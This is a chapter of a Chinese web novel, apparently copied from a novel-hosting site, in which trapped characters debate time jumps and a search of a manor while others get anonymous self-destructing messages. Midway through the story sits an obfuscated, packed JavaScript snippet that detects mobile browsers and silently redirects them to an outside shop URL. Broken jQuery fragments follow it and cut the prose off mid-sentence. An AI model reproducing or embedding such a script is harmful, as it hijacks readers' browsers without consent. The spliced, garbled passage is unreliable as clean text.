文趣网 > 都市小说 > 造物 > 22.匿名账户
    文宥娴在乎的不是日期显示是农历还是新历,而是和原来对不上的日期,新历时间是七月二十七,可她来到这里的时候,明明是四月三号,他们在这里就呆了三天,时间跨度怎么可能那么大?

    从四月初跳到七月末,怎么可能?

    “从进来那天日期就变了,只是没人注意到。”江愈终于舍得放下手机,“所有人手机上的时间都是这样,我们是进入到了庄园发生某件事的时间,比如记录册里提到的、那小孩儿嘴里也在唱的七月初三。”

    “你知道?”文宥娴原以为只有她听到了那首诡异的歌谣。

    江愈又是什么时候知道的?

    “我睡的晚,起的也晚,半夜动静那么大,但凡我没死都能听见。”

    方雅楠眯起眼睛,直勾勾看向江愈:“你该不会是小说里那种带着什么开挂系统的女主角吧?”

    这话一出,三个人的视线又聚在她身上,仿佛要把她盯出一个洞来。

    江愈确实像开了挂一样,遇事冷静,就是死人也全然不慌不忙,全场最高积分拥有者。

    如果真有系统加持,她杀杨贺廷的理由也就有了支撑,不是她主动杀人,而是杨贺廷对群体有害,江愈才要顶着暴露之后被疏远、指责的风险杀掉他,以除后患。

    而她所知道的信息,也是通过系统,系统对于这个世界的运行逻辑是清楚的,它会告知江愈她需要的信息,江愈的所有矛盾点也有了可解释的理由,只是因为某些限制,不能告知他们真相,这样的话确实说得通。

    江愈嗤笑一声:“为什么?就不能是我本身就很强吗?”

    语气里是浓浓的讽刺。

    对于她有系统帮助这种外挂,她只觉得荒谬。

    方雅楠却问:“但是解释不通啊,你一边拒绝我们又一边帮我们,一边说不管我们,但是总会在关键时候出现,这就很矛盾啊。”

    “我帮你们了么?”

    这个问题……

    要真说江愈说的做的事情是在帮他们,根本站不住脚,但说江愈不是在帮他们,也说不过去。

    文宥娴垂眸,江愈有没有系统难以下结论,但她和杨贺廷绝对是有过交集的。

    但是能让江愈起杀心,关系恶劣到必须杀人的地步,这段交集注定不会是美好的。

    “行了行了,现在是说系统的事情吗?现在是说照片的事情。”辛戎打破僵住的场面,把所有注意力强行拉回来。

    谁有没有系统早都无所谓了,系统还不一定有封惊原知道的多呢,还有限制不能让他们知道真相,要他们自己摸索,那有没有不都一样吗?

    文宥娴若有所思。

    庄园修缮?

    文宥娴脑子里一道白光闪过:“既然是修缮,找到这个被修的地方或许有意料之外的收获?”

    “时间都过去那么久了,再说了,庄园被大改过,怎么找?一间房间一间房间摸?要真这样怕是等到初三都找不到。”

    七月就修了一些地方,九月中旬整个庄园大改,来年三月才完工,历时近半年,他们现在看到的都不知道还有多少是庄园原本的样子。

    既要和房间现在住着的人交涉,争取他们的同意才能进入,没有钥匙根本进不去,如果他们不同意可能还要采取其他手段进入查寻,到时候要是再发生什么冲突又会拖延时间。

    耗时间又耗精力,最后还不一定能找得到,怎么看都是吃力不讨好的苦差。

    “支开不就行了?”江愈总喜欢出一下他们觉得异想天开,但她自己觉得没有任何问题的主意。

    辛戎立马看她,等她的下文。

    很可惜,没有下文。

    文宥娴已经习惯了江愈这个说话方式,没指望江愈会帮他们。

    “说得轻巧。”方雅楠叹了口气,“支开谁?怎么支开?用什么理由?”

    她一连串抛出三个问题,没有一个是有现成答案的。

    房间里的空气安静了两秒,江愈没有回答,也没有要回答的意思,她已经重新低头看向杨贺廷的手机,仿佛刚才那句话只是路过时顺手丢下来的。

    辛戎站在桌边,没有接方雅楠的话,而是侧过头看了文宥娴一眼。

    文宥娴的视线还落在桌上那些相纸上,没有立刻回应。

    半晌,文宥娴才出声:“找索恩。”

    “孺子可教。”

    江愈这话说得那叫一个欣慰,仿佛文宥娴是什么不断需要让人操心,还不思进取的熊孩子一样。

    “在庄园里办个什么小宴会、欢迎仪式的,索恩是管家,这不是她安排一下就完成的事情么?”

    “那你怎么确定她会帮我们?”方雅楠依旧有后顾之忧,索恩没有理由帮他们。

    文宥娴解释道:“这个状态下的索恩已经不具备正常人的思维了,她会帮我们,也会帮别人。”

    索恩会给予所有人能力所及范围内的帮助。

    只是来到这个地方的第一反应都是警惕,他们几乎不会信任这里的一切,加之后面真死了人,更没人会不要命地去招惹一个庄园内管家级别的怪物,白线外面全是怪物,如果庄园里面的侍者也变成了无差别杀人的怪物,他们只会死的更快。

    也就江愈第一次见面就跟索恩要水,主动和人家搭话,进了庄园之后也是三番两次让她遇事不决需要帮助的时候去找索恩。

    “不过这个计划在之前还可行,”江愈给一颗糖又给两个巴掌,“暴雨之后很多地方需要重新布置,现在庄园工作量剧增,距离发生的事件点也越来越近,她没空搭理你们。”

    “那你说这么多干嘛?”文宥娴狠狠攥住裤子上的布料。

    “啊?”江愈一脸惊讶地抬起手捂嘴,脸上表情马上又转回平静:“逗你们玩儿啊。”

    “……能打你吗?”方雅楠咬着牙,仿佛要把这句话咬碎。

    江愈眉头往下压,鼻翼同时上耸,在鼻根两侧挤出两道细细的笑纹,眼睛眯成两个月牙,眼里的笑意藏也不藏,脸上写满狡黠:“不可以哦,你打不过我,打死了我也不赔的。”

    更想打了!但确实也打不过。

    方雅楠一遍遍给自己顺气,不气不气,气坏身体没人赔……

    文宥娴一锤定音:“既然这样,就先找事情发生的地方,找到再说,挺晚了,就……”

    江愈没等她说完让大家各自回去休息,又举起手,出声打断她的话:“我还是觉得光碟里面的内容比较重要。”

    辛戎自告奋勇道:“那这样,你们找地方,我去找播放器行吗?”

    这种时候最好还是不要有分歧,能合理分工就合理分工

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732626|206930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    江愈先走了,路过垃圾桶时随手一丢,把杨贺廷的手机甩进垃圾桶里。

    ——

    裴之恒的脑子还是乱的,他出来之后,自动走进了一间房子里,像是有人在他脑子里按了自动导航,他的身体不再受自己控制,被控制着往里走。

    这里和他以前住过的地方都不一样,宽敞明亮,房间大得让他不自在。

    整栋房子只有他一个人,静悄悄的,旁边房子里的炒菜锅铲碰撞声、孩子的哭闹声、电视机播放的动画片……从没有关闭的窗户溢进来。

    他站在客厅里,衣服没变,他的手机还在他衣服口袋里装着,身上之前因为花产生的痛感,也在他走出白线的时候就消失得无影无踪。

    “嗡——”的一声,铃声响起。

    手机在震动,裴之恒却毫无反应。

    他见到了之前一起进到庄园后死掉的人,但他们的状态和他好像不太一样。

    眼神空洞,衣着整洁,或走或坐,或与人交谈,都显得生硬,像是被人刻意装扮好的人形娃娃。

    铃声还在继续,催命一般不间断响着。

    他抬起有些僵硬的手,往口袋里摸,手肘适时发出一声“咔”的声响。

    可等他拿起手机查看,那串铃声已经停了,手机依旧没有信号,手机锁屏上只有几个未接电话,和最新一条由一个匿名账户发来的:“等消息”字样。

    夜间冷风不断从窗口灌入,打在他身上。

    这让他恢复了一点意识——他没死?怎么会呢?

    他打开手机想要追问,点开信息,上方跳出一个倒计时,他没找到回复信息的打字框,十秒之后页面跳转,那条信息被设置了阅后即焚,没有设置锁屏不可见就是要确保他不打开也能看到这条消息。

    ——

    “你动作这么快?”

    消息发出,对面却没了回应。

    封惊原没找到江愈,却等到了别的消息——一条和裴之恒一模一样的消息。

    她也不确定发信人是谁,但来找时清随的就他们两个,除了他,她一时间想不到别人,这是他们在有不信任的人的时候会用的传讯方式,比较重要的信息也会用这种方式传递。

    她的消息石沉大海,对面的人突然下线,像是遇到了什么紧急情况,不得不离开。

    她坐在花坛边,手肘撑着膝盖,单手托住半边脸,食指在脸颊上有一下没一下轻轻点着,另一只手握着手机,搭在膝盖上。

    算了,走一步看一步,目的都是找到时清随,再怎么着也不至于害她。

    封惊原正想着,背后忽然发出声响。

    她眼神一凌,手机被放在一边,她的右手缓缓移动,搭在左手腕间的链子上。

    猛烈的拳风从身后传来,封惊原侧身躲开,那人的拳头落空打在空气上,封惊原站起身往旁边闪,一把扯下链子,闪避时甩动几下,取出藏在里面的软针,转身看准那人的动向,掐准时机把软针丢出去。

    银色软针在灯光下折射出细碎的光,隐没在那个黑色人影里,那人应声跪倒在地,膝盖狠狠撞在地上,仔细听仿佛还有骨头碎裂的声音。

    “杀我?怎么想的呢?”封惊原一步一晃,慢悠悠晃过去。

    途中还不忘把链子恢复原状戴回自己手上。